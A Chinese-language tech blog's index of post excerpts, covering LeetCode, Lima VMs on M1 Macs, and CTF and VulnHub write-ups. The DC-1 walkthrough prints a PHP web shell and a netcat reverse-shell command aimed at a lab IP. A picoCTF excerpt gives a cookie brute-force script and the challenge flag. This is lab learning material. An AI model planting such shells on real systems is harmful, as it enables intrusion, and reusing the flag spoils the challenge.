LuYee6813's Blog

發表於2022-03-22|更新於2023-12-20|程式演算|LeetCode

1. 題目Write an algorithm to determine if a number is “happy”. A happy number is a number defined by the following process: Starting with any positive integer, replace the number by the sum of the squares of its digits, and repeat the process until the number equals 1 (where it will stay), or it loops endlessly in a cycle which does not include 1. Those numbers for which this process ends in 1 are happy numbers. Example: 12Input: 19Output: true Explanation: 1 * 1 + 9 * 9 = 82 8 * 8 + 2 * 2 ...

M1 Mac 運行x86機器的簡單方法

發表於2022-03-20|更新於2023-12-20|好用工具|架構

前言換了人生中第一台macbook,但是卻是arm架構的,很多軟體還不是很支援,試了用qemu裝vm也試了rdp port-forwaring 回去,但前者不知道為什麼很耗電而後者很吃網路的狀況,最後！我找到了我的救星那就是Lima! Lima-VM是一個可以使用qemu模擬x86的開源軟體且非常輕量 Lima Github Repo 安裝方法使用brew安裝1brew install lima 撰寫config檔案(yaml格式)這邊直接上我的配置,新增檔案 ubuntu-22_04.yaml 12345678910111213141516171819202122232425# if using specific environment, add `arch` here to specify the architecturearch: "x86_64"# ubuntu-22.04.yaml example from lima official (here is all the same as the official example)images:# Try t ...

VulnHub-DC1

發表於2022-03-20|更新於2024-01-30|滲透測試|Vulnhub

尋找DC-1靶機1$ nmap 10.0.2.4 -A -p- 發現有port 80 -> 直接瀏覽網頁使用wappalyzer得知使用Drupal 7 搜尋已知Exploit來取得RCE CVE-2018-7600 Exploit:https://github.com/dreadlocked/Drupalgeddon2 ls -> 發現flag1 發現有shell.php1<?php if( isset( $_REQUEST['c'])) { system( $_REQUEST['c'] . ' 2>&1 ');}> 使用nc 監聽取回reverse shell(python pty)123http://10.0.2.4/shell.php?c=nc%20-e%20%2Fbin%2Fsh%2010.0.2.15%208080nc -e /bin/sh 10.0.2.15 8080python -c "import pty;pty.spawn(&# ...

picoCTF Cookies [40points]

發表於2022-03-20|更新於2024-01-30|CTF|picoCTF•Web Exploit

[Web Exploitation] Cookies - 40points初始畫面輸入snickerdoodle，發現進入畫面不一樣嘗試撰寫暴力破解腳本 123456789#!/bin/python3import requestsfor i in range(25): cookie = 'name={}'.format(i) headers = {'Cookie':cookie} r = requests.get('http://mercury.picoctf.net:<port>/check', headers=headers)if (r.status_code == 200) and ('picoCTF' in r.text): print(r.text) 取得FLAG FLAG:picoCTF{3v3ry1_l0v3s_c00k135_064663be}

彩色的Ascii Banner

發表於2022-03-18|更新於2024-01-30|Linux|優化設置

1. 安裝1apt install figlet lolcat 2.下載字形檔案figlet-fonts 1git clone https://github.com/xero/figlet-fonts.git 3.複製到figlet目錄 4.使用方式 5.加入到~/.bashrc 6.完成

pwnable start [100pt]

發表於2022-03-18|更新於2024-01-30|CTF|pwnable

看保護機制 checksec start 看源碼 objdump -d -M intel start 1234567891011121314151617181920212223242526272829303132333435start: file format elf32-i386Disassembly of section .text:08048060 <_start>: 8048060: 54 push esp 8048061: 68 9d 80 04 08 push 0x804809d 8048066: 31 c0 xor eax,eax 8048068: 31 db xor ebx,ebx 804806a: 31 c9 xor ecx,ecx 804806c: 31 d2 xor edx,edx 804806e: 68 43 54 46 3a ...

picoCTF GET aHEAD [50 points]

發表於2022-03-02|更新於2023-12-24|CTF|picoCTF•Web Exploit

DescriptionFind the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:47967/ Solution看HTML發現有兩種請求方式 GET 和 POST 123456789101112131415161718192021222324<div class="col-md-6"> <div class="panel panel-primary" style="margin-top:50px"> <div class="panel-heading"> <h3 class="panel-title" style="color:red">Red</h3> </div> <div cl ...